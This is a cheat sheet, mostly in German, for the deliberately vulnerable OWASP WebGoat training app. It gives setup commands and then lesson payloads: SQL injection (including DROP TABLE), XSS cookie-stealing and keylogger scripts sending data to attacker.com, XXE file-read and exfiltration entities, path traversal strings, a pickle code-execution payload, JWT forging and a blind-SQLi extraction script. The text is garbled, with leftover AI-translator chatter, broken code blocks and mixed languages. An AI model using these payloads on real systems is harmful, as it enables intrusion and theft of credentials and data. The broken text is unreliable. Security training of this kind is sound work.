WebGoat Spickzettel

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Überblick

WebGoat ist eine absichtlich unsichere Webanwendung, die von Open Web Application Security Project (OWASP) entwickelt wurde, um Konzepte der Webanwendungssicherheit auf interaktive und ansprechende Weise zu vermitteln. Anders als traditionelle Sicherheitsschulungsmaterialien bietet WebGoat eine praktische Lernumgebung, in der Benutzer das Identifizieren und Ausnutzen von Webanwendungsschwachstellen in einer sicheren, kontrollierten Umgebung üben können. Die Anwendung ist als umfassende Bildungsplattform konzipiert, die die OWASP Top 10 Schwachstellen und viele zusätzliche Sicherheitskonzepte durch interaktive Lektionen und Herausforderungen abdeckt.

Die Plattform hebt sich durch ihren lektionsbasierten Ansatz hervor, bei dem jedes Sicherheitskonzept als strukturiertes Lernmodul mit klaren Zielen, Hintergrundinformationen und Schritt-für-Schritt-Anleitung präsentiert wird. WebGoat enthält detaillierte Erklärungen zu Schwachstellenmechanismen, realen Kontexten und Abhilfemaßnahmen, was es sowohl für Anfänger, die Sicherheitsgrundlagen lernen, als auch für erfahrene Profis, die spezifische Angriffstechniken verstehen möchten, wertvoll macht. Die Anwendung verfolgt den Fortschritt der Benutzer, bietet bei Bedarf Hinweise und gibt sofortiges Feedback zu versuchten Lösungen.

Die Architektur von WebGoat basiert auf modernen Webtechnologien und nutzt Spring Boot für das Backend und zeitgemäße Frontend-Frameworks für die Benutzeroberfläche. Diese moderne Grundlage stellt sicher, dass die gezeigten Schwachstellen und Angriffstechniken für aktuelle Webanwendungsentwicklungspraktiken relevant sind. Die Plattform umfasst sowohl geführte Lektionen mit spezifischen Lernzielen als auch offene Herausforderungen, die es Benutzern ermöglichen, verschiedene Angriffsvektoren zu erkunden und zu experimentieren.

Der Bildungswert von WebGoat geht über individuelles Lernen hinaus und umfasst Unterricht und Unternehmensschulungen. Die Plattform unterstützt mehrere Benutzerkonten, Fortschrittsverfolgung und Verwaltungsfunktionen, die sie für strukturierte Trainingsumgebungen geeignet macht. Viele Cybersecurity-Bildungsprogramme, Bootcamps und Initiativen zur Sensibilisierung für Unternehmenssicherheit nutzen WebGoat als Kernkomponente ihres praktischen Schulungscurriculums.

(I'll continue with the remaining sections in the same manner if you'd like me to translate the entire document.)

Would you like me to proceed with translating the rest of the document?```bash

Pull WebGoat Docker image

docker pull webgoat/webgoat-8.0

Run WebGoat container

docker run -d -p 8080:8080 -p 9090:9090 --name webgoat webgoat/webgoat-8.0

Access WebGoat

Navigate to http://localhost:8080/WebGoat

WebWolf (support application): http://localhost:9090/WebWolf

Run with persistent data

docker run -d -p 8080:8080 -p 9090:9090 -v webgoat_data:/home/webgoat/.webgoat --name webgoat webgoat/webgoat-8.0

Stop container

docker stop webgoat

Remove container

docker rm webgoat

View logs

docker logs webgoat

### Docker Compose Installation

```yaml
# Create docker-compose.yml
cat << 'EOF' > docker-compose.yml
version: '3.8'

services:
  webgoat:
    image: webgoat/webgoat-8.0
    container_name: webgoat
    ports:
      - "8080:8080"
      - "9090:9090"
    volumes:
      - webgoat_data:/home/webgoat/.webgoat
    environment:
      - WEBGOAT_PORT=8080
      - WEBWOLF_PORT=9090
    restart: unless-stopped

volumes:
  webgoat_data:
EOF

# Start WebGoat
docker-compose up -d

# View logs
docker-compose logs -f webgoat

# Stop WebGoat
docker-compose down

# Stop and remove volumes
docker-compose down -v

Standalone JAR Installation

# Download WebGoat JAR
wget https://github.com/WebGoat/WebGoat/releases/download/v8.2.2/webgoat-server-8.2.2.jar

# Install Java (if not already installed)
# Ubuntu/Debian
sudo apt update
sudo apt install openjdk-11-jdk -y

# CentOS/RHEL
sudo yum install java-11-openjdk -y

# macOS
brew install openjdk@11

# Run WebGoat
java -jar webgoat-server-8.2.2.jar

# Run with custom port
java -jar webgoat-server-8.2.2.jar --server.port=9001

# Run with custom configuration
java -jar webgoat-server-8.2.2.jar --server.address=0.0.0.0 --server.port=8080

# Access WebGoat at http://localhost:8080/WebGoat

Source Code Installation

# Install prerequisites
# Java 11+, Maven 3.6+, Git

# Clone repository
git clone https://github.com/WebGoat/WebGoat.git
cd WebGoat

# Build WebGoat
mvn clean install

# Run WebGoat
mvn spring-boot:run

# Build standalone JAR
mvn clean package
java -jar webgoat-server/target/webgoat-server-*.jar

# Run WebWolf separately
cd webwolf
mvn spring-boot:run

Kubernetes Deployment

# Create webgoat-deployment.yaml
cat << 'EOF' > webgoat-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: webgoat
  labels:
    app: webgoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: webgoat
  template:
    metadata:
      labels:
        app: webgoat
    spec:
      containers:
      - name: webgoat
        image: webgoat/webgoat-8.0
        ports:
        - containerPort: 8080
        - containerPort: 9090
        env:
        - name: WEBGOAT_PORT
          value: "8080"
        - name: WEBWOLF_PORT
          value: "9090"
---
apiVersion: v1
kind: Service
metadata:
  name: webgoat-service
spec:
  selector:
    app: webgoat
  ports:
  - name: webgoat
    port: 8080
    targetPort: 8080
  - name: webwolf
    port: 9090
    targetPort: 9090
  type: LoadBalancer
EOF

# Deploy to Kubernetes
kubectl apply -f webgoat-deployment.yaml

# Check deployment status
kubectl get pods
kubectl get services

# Access WebGoat
kubectl port-forward service/webgoat-service 8080:8080

Initial Setup and Configuration

First-Time Setup

# Access WebGoat
# Navigate to http://localhost:8080/WebGoat

# Create user account
# Click "Register new user"
# Username: your_username
# Password: your_password

# Login to WebGoat
# Use created credentials

# Access WebWolf (support application)
# Navigate to http://localhost:9090/WebWolf
# Use same credentials as WebGoat

User Management

# Default admin account (if enabled)
# Username: admin
# Password: admin

# Create additional users
# Each user has separate progress tracking
# Suitable for classroom environments

# Reset user progress
# Delete user data directory
# Or use admin interface (if available)

# Backup user progress
# Copy .webgoat directory
# Contains user data and progress

Configuration Options

# Custom server configuration
# Create application.properties
cat << 'EOF' > application.properties
server.port=8080
server.address=0.0.0.0
logging.level.org.owasp.webgoat=DEBUG
webgoat.user.directory=/custom/path
EOF

# Run with custom configuration
java -jar webgoat-server-*.jar --spring.config.location=application.properties

# Environment variables
export WEBGOAT_PORT=8080
export WEBWOLF_PORT=9090
export WEBGOAT_SSLENABLED=false

# JVM options
java -Xmx1024m -Xms512m -jar webgoat-server-*.jar

Lesson Categories and Modules

General Security Awareness

# HTTP Basics
# - Understanding HTTP protocol
# - Request/response structure
# - Headers and methods
# - Status codes

# HTTP Proxies
# - Proxy configuration
# - Intercepting requests
# - Modifying traffic
# - Burp Suite integration

# Developer Tools
# - Browser developer tools
# - Network tab analysis
# - Console manipulation
# - Source code inspection

Authentication Flaws

# Authentication Bypasses
# Lesson: Bypass authentication mechanisms

# Method 1: SQL Injection in login
Username: admin' --
Password: anything

# Method 2: Logic flaws
# Analyze authentication logic
# Find bypass conditions

# Method 3: Session manipulation
# Modify session tokens
# Predict session values

# Password Reset Flaws
# Lesson: Exploit password reset functionality

# Method 1: Parameter manipulation
# Change user parameter in reset request
# Reset other users' passwords

# Method 2: Token prediction
# Analyze reset token generation
# Predict valid tokens

# Secure Passwords
# Lesson: Password security concepts
# - Password complexity
# - Common passwords
# - Brute force attacks
# - Password storage

Access Control Flaws

# Insecure Direct Object References
# Lesson: Access unauthorized resources

# Method 1: Parameter manipulation
# Change user ID in requests
# Access other users' data

# Method 2: Path traversal
# Modify file paths
# Access system files

# Missing Function Level Access Control
# Lesson: Access restricted functions

# Method 1: URL manipulation
# Access admin functions directly
# Bypass menu restrictions

# Method 2: Role manipulation
# Modify role parameters
# Escalate privileges

Cross-Site Scripting (XSS)

# Reflected XSS
# Lesson: Execute JavaScript in victim's browser

# Basic payload
<script>alert('XSS')</script>

# Advanced payloads
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>

# Bypass filters
<Script>alert('XSS')</Script>
<SCRIPT>alert('XSS')</SCRIPT>
<script>alert(String.fromCharCode(88,83,83))</script>

# Stored XSS
# Lesson: Persistent XSS attacks

# Basic stored payload
<script>alert('Stored XSS')</script>

# Cookie stealing
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

# Keylogger
<script>
document.onkeypress = function(e) \\\\{
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://attacker.com/log.php?key=' + String.fromCharCode(e.which), true);
    xhr.send();
\\\\}
</script>

# DOM-based XSS
# Lesson: Client-side XSS

# URL fragment manipulation
http://localhost:8080/WebGoat/start.mvc#<script>alert('XSS')</script>

# JavaScript injection
javascript:alert('XSS')

Cross-Site Request Forgery (CSRF)

<form action="http://localhost:8080/WebGoat/csrf/basic-get-flag" method="POST">
    <input type="hidden" name="csrf" value="false">
    <input type="submit" value="Click me!">
</form>

<form id="csrf" action="http://localhost:8080/WebGoat/csrf/review" method="POST">
    <input type="hidden" name="reviewText" value="This is a CSRF attack">
    <input type="hidden" name="stars" value="1">
    <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
</form>
<script>document.getElementById('csrf').submit();</script>

<img src="http://localhost:8080/WebGoat/csrf/basic-get-flag?csrf=false">

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:8080/WebGoat/csrf/review', true);
xhr.onreadystatechange = function() \\\\{
    if (xhr.readyState == 4) \\\\{
        var token = xhr.responseText.match(/name="csrf" value="([^"]+)"/)[1];
        // Use extracted token in CSRF attack
    \\\\}
\\\\};
xhr.send();
</script>

SQL Injection

# String SQL Injection
# Lesson: Basic SQL injection

# Authentication bypass
Username: admin' --
Password: anything

# Data extraction
' UNION SELECT user, password FROM users --
' UNION SELECT table_name, column_name FROM information_schema.columns --

# Numeric SQL Injection
# Lesson: Injection in numeric parameters

# Basic injection
1 OR 1=1
1 UNION SELECT user, password FROM users

# Advanced injection
1; DROP TABLE users; --
1; INSERT INTO users VALUES ('hacker', 'password'); --

# Blind SQL Injection
# Lesson: Extract data without direct output

# Boolean-based blind injection
1 AND 1=1  (True condition)
1 AND 1=2  (False condition)

# Extract database name
1 AND LENGTH(database())=8
1 AND SUBSTRING(database(),1,1)='w'

# Time-based blind injection
1; WAITFOR DELAY '00:00:05' --
1 AND IF(1=1, SLEEP(5), 0)

# Advanced SQL Injection
# Lesson: Complex injection scenarios

# Second-order injection
# Inject payload in one location
# Trigger execution in another

# NoSQL injection
# MongoDB injection examples
\\\\{"username": \\\\{"$ne": null\\\\}, "password": \\\\{"$ne": null\\\\}\\\\}
\\\\{"username": \\\\{"$regex": ".*"\\\\}, "password": \\\\{"$regex": ".*"\\\\}\\\\}

Path Traversal

# Path Traversal Lesson
# Objective: Access files outside web root

# Basic traversal
../../../etc/passwd
..\..\..\..\windows\system32\drivers\etc\hosts

# Encoded traversal
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
..%252f..%252f..%252fetc%252fpasswd

# Double encoding
..%255c..%255c..%255cwindows%255csystem32%255cdrivers%255cetc%255chosts

# Null byte injection (older systems)
../../../etc/passwd%00
../../../etc/passwd%00.jpg

# Filter bypass
....//....//....//etc/passwd
..././..././..././etc/passwd

Insecure Deserialization

# Insecure Deserialization Lesson
# Objective: Exploit deserialization vulnerabilities

# Java deserialization
# Create malicious serialized object
# Inject into application

# PHP deserialization
# Object injection payload
O:4:"User":2:\\\\{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";\\\\}

# Python pickle deserialization
# Create malicious pickle payload
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())

# .NET deserialization
# BinaryFormatter exploitation
# Create malicious .NET object

XML External Entities (XXE)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root></root>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;
]>
<root></root>

JWT (JSON Web Tokens)

# JWT Lesson: JSON Web Token vulnerabilities

# JWT structure analysis
# Header.Payload.Signature
# Base64 decode each part

# Algorithm confusion attack
# Change algorithm from RS256 to HS256
# Use public key as HMAC secret

# None algorithm attack
# Set algorithm to "none"
# Remove signature

# Weak secret attack
# Brute force JWT secret
# Use common passwords

# JWT manipulation
# Modify payload claims
# Change user role/permissions
# Extend token expiration

# Example JWT manipulation
import jwt
import base64

# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, verify=False)

# Modify payload
decoded['role'] = 'admin'
decoded['exp'] = 9999999999

# Re-encode with weak secret
new_token = jwt.encode(decoded, 'secret', algorithm='HS256')

Advanced Challenges

Challenge Solutions

```bash

Admin Lost Password Challenge

Objective: Reset admin password

Step 1: Analyze password reset mechanism

Step 2: Find security questions

Step 3: Research admin information

Step 4: Answer security questions

Step 5: Reset password

Without Password Change Challenge

Objective: Change password without knowing current

Method 1: Session manipulation

Intercept password change request

Remove current password parameter

Method 2: CSRF attack

Create CSRF form for password change

Trick admin into submitting

Admin Password Up Challenge

Objective: Escalate to admin privileges

Method 1: SQL injection

Extract admin password hash

Crack or replace hash

Method 2: Session hijacking

Steal admin session token

Impersonate admin user

### Benutzerdefinierte Exploit-Entwicklungpython

!/usr/bin/env python3

WebGoat SQL injection exploit

import requests import string import sys

class WebGoatSQLi: def init(self, base_url, session_cookie): self.base_url = base_url self.session = requests.Session() self.session.cookies.set('JSESSIONID', session_cookie)

def blind_sqli_extract(self, table, column, condition=""):
    """Extract data using blind SQL injection"""
    data = ""
    position = 1

    while True:
        found_char = False

        for char in string.printable:
            if char in ['%', '_', '\\']:
                continue

            # Construct blind SQL injection payload
            payload = f"1' AND SUBSTRING((SELECT \\\\{column\\\\} FROM \\\\{table\\\\} \\\\{condition\\\\}),\\\\{position\\\\},1)='\\\\{char\\\\}' --"

            response = self.test_injection(payload)

            if self.is_successful_injection(response):
                data += char
                found_char = True
                print(f"Found: \\\\{data\\\\}")
                break

        if not found_char:
            break

        position += 1

    return data

def test_injection(self, payload):
    """Test SQL injection payload"""
    url = f"\\\\{self.base_url\\\\}/SqlInjection/attack5a"
    data = \\\\{
        'account': payload,
        'operator': 'equals',
        'injection': payload
    \\\\}

    return self.session.post(url, data=data)

def is_successful_injection(self, response):
    """Check if injection was successful"""
    return "User found" in response.text

if name == "main": if len(sys.argv) != 3: print("Usage: python3 webgoat_sqli.py ") sys.exit(1)

base_url = sys.argv[1]
session_cookie = sys.argv[2]

exploit = WebGoatSQLi(base_url, session_cookie)

# Extract admin password
print("Extracting admin password...")
password = exploit.blind_sqli_extract("users", "password", "WHERE username='admin'")
print(f"Admin password: \\\\{password\\\\}")

### Automatisierte Testskriptebash

!/bin/bash

WebGoat automated testing script

WEBGOAT_URL="http://localhost:8080/WebGoat" SESSION_COOKIE=""

Function to test XSS

test_xss() \\{ echo "[*] Testing XSS vulnerabilities..."

payloads=(
    "<script>alert('XSS')</script>"
    "<img src=x onerror=alert('XSS')>"
    "<svg onload=alert('XSS')>"
)

for payload in "$\\\\{payloads[@]\\\\}"; do
    response=$(curl -s -b "JSESSIONID=$SESSION_COOKIE" \
        -d "message=$payload" \
        "$WEBGOAT_URL/CrossSiteScripting/attack1")

    if [[ $response == *"$payload"* ]]; then
        echo "[+] XSS successful: $payload"
    else
        echo "[-] XSS failed: $payload"
    fi
done

\\}

Function to test SQL injection

test_sqli() \\{ echo "[*] Testing SQL injection..."

payloads=(
    "' OR '1'='1"
    "' OR 1=1 --"
    "' UNION SELECT user, password FROM users --"
)

for payload in "$\\\\{payloads[@]\\\\}"; do
    response=$(curl -s -b "JSESSIONID=$SESSION_COOKIE" \
        -d "username=$payload&password=test" \
        "$WEBGOAT_URL/SqlInjection/attack1")

    if [[ $response == *"Welcome"* ]]; then
        echo "[+] SQL injection successful: $payload"
    else
        echo "[-] SQL injection failed: $payload"
    fi
done

\\}

Function to test CSRF

test_csrf() \\{ echo "[*] Testing CSRF vulnerabilities..."

# Create CSRF payload
csrf_payload="<form action='$WEBGOAT_URL/csrf/basic-get-flag' method='POST'>
<input type='hidden' name='csrf' value='false'>
</form>
<script>document.forms[0].submit();</script>"

echo "$csrf_payload" > csrf_test.html
echo "[+] CSRF payload created: csrf_test.html"

\\}

Main execution

echo "[] Starting WebGoat automated testing" echo "[] Target: $WEBGOAT_URL"

test_xss test_sqli test_csrf

echo "[*] Testing complete" ```## Integration mit Sicherheitstools

Burp Suite Integration

```bash

Configure Burp Suite for WebGoat testing

1. Set up proxy

Browser proxy: 127.0.0.1:8080

Burp proxy listener: 127.0.0.1:8080

2. Configure scope

Add WebGoat URL to scope

Include: http://localhost:8080/WebGoat/*

3. Spider WebGoat

Automatically discover all endpoints

Map application structure

4. Use Burp tools

Repeater: Manual request testing

Intruder: Automated payload testing

Scanner: Automated vulnerability detection

Burp Suite extensions for WebGoat

- WebGoat lesson tracker

- Automated solution checker

- Custom payload generators

### OWASP ZAP Integrationbash

ZAP automated scanning of WebGoat

zap-baseline.py -t http://localhost:8080/WebGoat/

ZAP full scan

zap-full-scan.py -t http://localhost:8080/WebGoat/

ZAP API usage

Start ZAP daemon

zap.sh -daemon -port 8090

Authenticate to WebGoat

curl "http://localhost:8090/JSON/authentication/action/setAuthenticationCredentials/" \ -d "contextId=0&authCredentialsConfigParams=username%3Dtest%26password%3Dtest"

Spider WebGoat

curl "http://localhost:8090/JSON/spider/action/scan/?url=http://localhost:8080/WebGoat/"

Active scan

curl "http://localhost:8090/JSON/ascan/action/scan/?url=http://localhost:8080/WebGoat/"

Generate report

curl "http://localhost:8090/OTHER/core/other/htmlreport/" > webgoat_report.html ### Benutzerdefiniertes Sicherheits-Testframeworkpython

!/usr/bin/env python3

WebGoat comprehensive testing framework

import requests import json import time from urllib.parse import urljoin

class WebGoatTester: def init(self, base_url, username, password): self.base_url = base_url self.session = requests.Session() self.username = username self.password = password self.authenticated = False

def authenticate(self):
    """Authenticate to WebGoat"""
    login_url = urljoin(self.base_url, '/login')
    login_data = \\\\{
        'username': self.username,
        'password': self.password
    \\\\}

    response = self.session.post(login_url, data=login_data)

    if response.status_code == 200:
        self.authenticated = True
        print("[+] Authentication successful")
        return True
    else:
        print("[-] Authentication failed")
        return False

def test_lesson(self, lesson_path, test_data):
    """Test specific WebGoat lesson"""
    if not self.authenticated:
        if not self.authenticate():
            return False

    lesson_url = urljoin(self.base_url, lesson_path)

    try:
        response = self.session.post(lesson_url, data=test_data)

        # Check for success indicators
        if any(indicator in response.text.lower() for indicator in
               ['congratulations', 'success', 'correct', 'well done']):
            print(f"[+] Lesson \\\\{lesson_path\\\\} completed successfully")
            return True
        else:
            print(f"[-] Lesson \\\\{lesson_path\\\\} failed")
            return False

    except Exception as e:
        print(f"[!] Error testing lesson \\\\{lesson_path\\\\}: \\\\{e\\\\}")
        return False

def run_all_tests(self):
    """Run all available tests"""
    test_cases = [
        \\\\{
            'lesson': '/SqlInjection/attack1',
            'data': \\\\{'username': "' OR '1'='1", 'password': 'test'\\\\}
        \\\\},
        \\\\{
            'lesson': '/CrossSiteScripting/attack1',
            'data': \\\\{'message': '<script>alert("XSS")</script>'\\\\}
        \\\\},
        \\\\{
            'lesson': '/CSRF/basic-get-flag',
            'data': \\\\{'csrf': 'false'\\\\}
        \\\\}
    ]

    results = []

    for test_case in test_cases:
        result = self.test_lesson(test_case['lesson'], test_case['data'])
        results.append(\\\\{
            'lesson': test_case['lesson'],
            'success': result
        \\\\})

    return results

def generate_report(self, results):
    """Generate test report"""
    report = \\\\{
        'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
        'target': self.base_url,
        'total_tests': len(results),
        'passed': sum(1 for r in results if r['success']),
        'failed': sum(1 for r in results if not r['success']),
        'results': results
    \\\\}

    with open('webgoat_test_report.json', 'w') as f:
        json.dump(report, f, indent=2)

    print(f"\n[*] Test Report Generated")
    print(f"Total Tests: \\\\{report['total_tests']\\\\}")
    print(f"Passed: \\\\{report['passed']\\\\}")
    print(f"Failed: \\\\{report['failed']\\\\}")
    print(f"Success Rate: \\\\{(report['passed']/report['total_tests'])*100:.1f\\\\}%")

if name == "main": tester = WebGoatTester("http://localhost:8080/WebGoat", "test", "test") results = tester.run_all_tests() tester.generate_report(results) ## Pädagogische Best Practicesbash

Phase 1: Foundation (Weeks 1-2)

- HTTP Basics

- Developer Tools

- Basic Authentication

- Simple XSS

Phase 2: Core Vulnerabilities (Weeks 3-6)

- SQL Injection (all types)

- XSS (reflected, stored, DOM)

- CSRF

- Access Control

Phase 3: Advanced Topics (Weeks 7-10)

- XXE

- Insecure Deserialization

- JWT vulnerabilities

- Path Traversal

Phase 4: Integration (Weeks 11-12)

- Tool usage (Burp, ZAP)

- Automated testing

- Report writing

- Real-world application

### Strukturierter Lernpfadbash

Create learning journal

mkdir ~/webgoat_learning cd ~/webgoat_learning

Track lesson completion

cat << 'EOF' > progress.md

WebGoat Learning Progress

Completed Lessons

• HTTP Basics
• Developer Tools
• SQL Injection - String
• SQL Injection - Numeric
• SQL Injection - Blind
• XSS - Reflected
• XSS - Stored
• XSS - DOM
• CSRF
• Access Control
• Path Traversal
• XXE
• JWT
• Insecure Deserialization

Notes

SQL Injection

• Key learning: Always use parameterized queries
• Common mistake: Trusting user input

XSS

• Key learning: Validate and encode all user input
• Common mistake: Only server-side validation EOF

Document solutions

cat << 'EOF' > solutions.md

WebGoat Solutions

SQL Injection - String

Objective: Bypass authentication Solution: Username: admin' --, Password: anything Explanation: Comment out password check

XSS - Reflected

Objective: Execute JavaScript Solution: <script>alert('XSS')</script> Explanation: No input validation EOF ### Fortschrittsverfolgungbash

Multi-user setup for classroom

Each student gets unique account

Progress tracked separately

Instructor dashboard

Monitor student progress

Identify common issues

Provide targeted help

Group exercises

Team-based challenges

Peer review sessions

Collaborative problem solving

Assessment integration

Automated grading

Progress reports

Skill verification

```### Klassenraum-Integration https://github.com/WebGoat/WebGoat---

⚠️ Sicherheitshinweis: WebGoat ist eine absichtlich verwundbare Webanwendung, die ausschließlich zu Bildungszwecken entwickelt wurde. Sie sollte niemals in Produktionsnetzwerken oder Systemen bereitgestellt werden, die aus dem Internet zugänglich sind. Führen Sie WebGoat immer in isolierten, kontrollierten Umgebungen wie virtuellen Maschinen oder Containern ohne Netzwerkzugriff auf Produktionssysteme aus. Die Anwendung enthält beabsichtigte Sicherheitsschwachstellen, die bei Exposition die Systemsicherheit gefährden könnten. Verwenden Sie WebGoat verantwortungsvoll zum Erlernen von Konzepten der Webanwendungssicherheit und befolgen Sie immer die Sicherheitsrichtlinien Ihrer Organisation bei Sicherheitstrainings.

📚 Zusätzliche Ressourcen: - WebGoat Official GitHub Repository - OWASP WebGoat Projektseite - OWASP Top 10 - [Web Security Academy](